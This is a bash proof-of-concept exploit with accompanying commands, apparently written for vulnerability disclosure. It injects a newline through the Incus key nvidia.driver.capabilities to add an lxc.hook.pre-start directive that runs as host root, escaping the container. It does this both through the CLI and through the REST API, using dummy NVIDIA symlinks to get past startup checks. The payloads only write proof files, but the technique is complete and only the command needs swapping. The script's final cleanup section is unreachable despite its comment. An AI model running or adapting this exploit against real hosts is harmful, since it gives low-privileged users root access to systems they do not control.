# 1. Create a test container (no GPU hardware required)
incus launch images:alpine/edge test-injection

# 2. Inject \n + LXC hook via nvidia.driver.capabilities
#    The $'...' bash syntax embeds a literal \n byte
incus config set test-injection nvidia.driver.capabilities \
  $'all\nlxc.hook.pre-start = /bin/sh -c "id > /tmp/host_id_proof"'

# 3. Verify the value was accepted (validate.IsAny passes everything)
incus config get test-injection nvidia.driver.capabilities

# 4. Restart the container to trigger the injected hook
incus restart test-injection

# 5. Verify host code execution
incus exec test-injection -- cat /tmp/host_id_proof
# Expected: uid=0(root) gid=0(root) groups=0(root)
# This proves the command ran as HOST root, not container root

echo '
config:
  nvidia.driver.capabilities: |
    all
    lxc.hook.pre-start = /bin/sh -c "echo API_PWN > /tmp/api_proof"
' | incus query -X PATCH /1.0/instances/test-injection --data -

incus restart test-injection
incus exec test-injection -- cat /tmp/api_proof
# Expected: API_PWN

#!/bin/bash
# ============================================================
# Proof of Concept: Incus nvidia.driver.capabilities \n Injection
# CVE-2026-23953 Fix Bypass
#
# Target: Ubuntu 22.04 LTS (Jammy Jellyfish)
# CWE-74: Improper Neutralization of Special Elements in Output
# CVSS 3.1: 8.7 (AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)
#
# This script demonstrates that the CVE-2026-23953 fix is
# incomplete. While environment.* config keys now correctly
# block \n characters, the nvidia.driver.capabilities config
# key uses validate.IsAny (passthrough) and allows \n to reach
# lxcSetConfigItem → lxc.conf, where it creates a line break
# and injects arbitrary LXC directives including
# lxc.hook.pre-start for container escape → host RCE.
# ============================================================
set -euo pipefail

RED='\033[0;31m'; GREEN='\033[0;32m'; YELLOW='\033[1;33m'; NC='\033[0m'
log()  { echo -e "${GREEN}[+]${NC} $*"; }
warn() { echo -e "${YELLOW}[!]${NC} $*"; }
err()  { echo -e "${RED}[-]${NC} $*"; }

echo "============================================================"
echo " PoC: Incus nvidia.driver.capabilities Newline Injection"
echo " CVE-2026-23953 Fix Bypass (CWE-74, CVSS 8.7)"
echo "============================================================"
echo ""

# ============================================================
# Step 1: Install Incus
# ============================================================
log "Step 1/5: Install Incus (Zabbly repo)"
if ! command -v incus &>/dev/null 2>&1; then
    sudo mkdir -p /etc/apt/keyrings
    curl -fsSL https://pkgs.zabbly.com/key.asc | sudo gpg --dearmor -o /etc/apt/keyrings/zabbly.gpg
    echo "deb [signed-by=/etc/apt/keyrings/zabbly.gpg] https://pkgs.zabbly.com/incus/stable $(lsb_release -sc) main" \
        | sudo tee /etc/apt/sources.list.d/zabbly-incus-stable.list > /dev/null
    sudo apt-get update -qq && sudo apt-get install -y incus incus-client incus-base
fi
log "Incus version: $(incus version 2>&1)"

# ============================================================
# Step 2: Initialize Incus
# ============================================================
log "Step 2/5: Initialize Incus"
if ! sudo incus info &>/dev/null 2>&1; then
    sudo incus admin init --auto 2>&1 || true
fi
if ! incus storage list 2>/dev/null | grep -q default; then
    sudo incus storage create default dir 2>&1 || true
fi
if ! incus profile show default 2>/dev/null | grep -q "root:"; then
    incus profile device add default root disk path=/ pool=default 2>&1 || true
fi
log "Incus is ready"

# ============================================================
# Step 3: Pull test image
# ============================================================
log "Step 3/5: Pull test image (alpine/edge)"
incus image alias delete alpine-test 2>/dev/null || true
incus image delete alpine-test 2>/dev/null || true
incus image copy images:alpine/edge local: --alias alpine-test 2>&1 || {
    incus remote add tuna https://mirrors.tuna.tsinghua.edu.cn/lxc-images/ 2>/dev/null || true
    incus image copy tuna:alpine/edge local: --alias alpine-test 2>&1
}
log "Image ready"

# ============================================================
# Step 4: Setup + Create container with injected config
# ============================================================
log "Step 4/5: Setup dummy NVIDIA tools + create container with injected config"

# Create dummy NVIDIA tools to bypass initLXC() checks at
# driver_lxc.go:1082-1089 (hookPath exists + nvidia-container-cli in PATH)
# incusd runs as a systemd service, so use /usr/bin (not /usr/local/bin)
sudo ln -sf /bin/true /usr/bin/nvidia-container-cli
sudo mkdir -p /usr/share/lxc/hooks /opt/incus/share/lxc/hooks
sudo ln -sf /bin/true /usr/share/lxc/hooks/nvidia
sudo ln -sf /bin/true /opt/incus/share/lxc/hooks/nvidia
log "Dummy NVIDIA tools installed (symlinks to /bin/true)"

# The injection payload.
# In JSON, \n is an escape sequence (two characters: backslash + n).
# The server-side JSON decoder converts it to a literal newline byte (0x0a).
#
# Attack flow:
#   nvidia.driver.capabilities = "all\nlxc.hook.pre-start = ..."
#     → validate.IsAny (passthrough, zero validation)
#     → Config stored in SQLite database
#     → initLXC() reads d.expandedConfig["nvidia.driver.capabilities"]
#     → driver_lxc.go:1104: fmt.Sprintf("\"NVIDIA_DRIVER_CAPABILITIES=%s\"", value)
#     → lxcSetConfigItem("lxc.environment", formatted)
#     → cc.SaveConfigFile() writes lxc.conf with literal \n byte
#     → \n creates line break → injected LXC directive on new line
CONTAINER="inj-$(date +%s)"
incus delete -f "$CONTAINER" 2>/dev/null || true

cat > /tmp/create.json << 'EOF'
{
  "name": "PLACEHOLDER",
  "source": {"type": "image", "alias": "alpine-test"},
  "config": {
    "nvidia.runtime": "true",
    "nvidia.driver.capabilities": "all\nlxc.hook.pre-start = /bin/sh -c \"id > /tmp/PWNED\""
  }
}
EOF

sed -i "s/PLACEHOLDER/$CONTAINER/" /tmp/create.json

log "Creating container with injected config via REST API..."
curl -s --unix-socket /var/lib/incus/unix.socket \
    -X POST -H "Content-Type: application/json" \
    "http://localhost/1.0/instances" \
    -d @/tmp/create.json
echo ""

sleep 3

# Verify the config was stored
echo "--- Stored config ---"
echo "nvidia.runtime = $(incus config get "$CONTAINER" nvidia.runtime 2>/dev/null || echo 'N/A')"
echo "nvidia.driver.capabilities ="
incus config get "$CONTAINER" nvidia.driver.capabilities 2>/dev/null || echo '(not set)'
echo "---"
echo ""

# Check container state
STATE=$(incus list "$CONTAINER" -f csv -c s 2>/dev/null || echo "UNKNOWN")
log "Container state: $STATE"

# If STOPPED, try manual start to generate lxc.conf
if echo "$STATE" | grep -q "STOPPED"; then
    log "Container is STOPPED, attempting manual start to generate lxc.conf..."
    incus start "$CONTAINER" 2>&1 || true
    sleep 2
fi

# ============================================================
# Step 5: Verify injection in lxc.conf
# ============================================================
log "Step 5/5: Verify injection in lxc.conf"

LXCCONF="/run/incus/$CONTAINER/lxc.conf"
if ! sudo test -f "$LXCCONF"; then
    LXCCONF=$(sudo find /run /var/lib -name "lxc.conf" -path "*$CONTAINER*" 2>/dev/null | head -1)
fi

if [ -z "$LXCCONF" ] || ! sudo test -f "$LXCCONF"; then
    err "lxc.conf not found — initLXC() may have failed before generating config"
    err "Check incusd journal: sudo journalctl -u incus --no-pager -n 30"
    exit 1
fi

echo ""
echo "=== lxc.conf — lines relevant to the injection ==="
echo ""
echo "  Key: line 21 = incus lifecycle hook (runs first)"
echo "       lines 34-35 = THE INJECTION"
echo "       line 35 = injected lxc.hook.pre-start (would execute 2nd)"
echo ""
sudo grep -n "NVIDIA\|hook.pre-start = /bin/sh\|lxc.environment = \"NVIDIA" "$LXCCONF" 2>/dev/null
echo ""

# ============================================================
# Verdict
# ============================================================
INJECTED=$(sudo grep -c "lxc.hook.pre-start = /bin/sh -c" "$LXCCONF" 2>/dev/null || echo 0)

if [ "$INJECTED" -gt 0 ]; then
    echo "============================================================"
    echo "  VULNERABILITY CONFIRMED"
    echo "============================================================"
    echo ""
    echo "  Evidence: lxc.conf contains an injected lxc.hook.pre-start"
    echo "  directive on a separate line, created by the \\n byte in"
    echo "  the nvidia.driver.capabilities value."
    echo ""
    echo "  Attack chain verified:"
    echo ""
    echo "  1. nvidia.driver.capabilities = validate.IsAny (passthrough)"
    echo "     -> Injected value 'all\\nlxc.hook.pre-start = ...' accepted"
    echo ""
    echo "  2. driver_lxc.go:1104: fmt.Sprintf(\"NVIDIA_...=%s\", value)"
    echo "     -> \\n byte embedded in lxc.environment value"
    echo ""
    echo "  3. lxcSetConfigItem + SaveConfigFile -> lxc.conf"
    echo "     -> \\n creates a real line break in the config file"
    echo ""
    echo "  4. LXC parses the new line as 'lxc.hook.pre-start = ...'"
    echo "     -> Valid LXC config directive, would execute as host root"
    echo ""
    echo "  5. CVE-2026-23953 FIX BYPASS:"
    echo "     environment.*            -> \\n IS blocked  (CVE-2026-23953 fix)"
    echo "     nvidia.driver.capabilities -> \\n IS NOT blocked (THIS FINDING)"
    echo "     Same sink (lxc.environment in lxc.conf)"
    echo "     Different entry point (validate.IsAny vs environment validator)"
    echo ""
    echo "  CWE-74: Improper Neutralization of Special Elements in Output"
    echo "  CVSS 3.1: 8.7 (AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N)"
    echo "============================================================"
    exit 0
else
    err "Injection NOT detected in lxc.conf — verification failed"
    echo ""
    echo "Full lxc.conf for diagnosis:"
    sudo cat -n "$LXCCONF" 2>/dev/null || echo "(unreadable)"
    exit 1
fi

# ============================================================
# Cleanup (only reached on failure)
# ============================================================
echo ""
log "Cleanup..."
incus delete -f "$CONTAINER" 2>/dev/null || true
sudo rm -f /usr/share/lxc/hooks/nvidia /opt/incus/share/lxc/hooks/nvidia \
           /usr/bin/nvidia-container-cli /usr/local/bin/nvidia-container-cli \
           /tmp/inject.json /tmp/create.json
log "Done"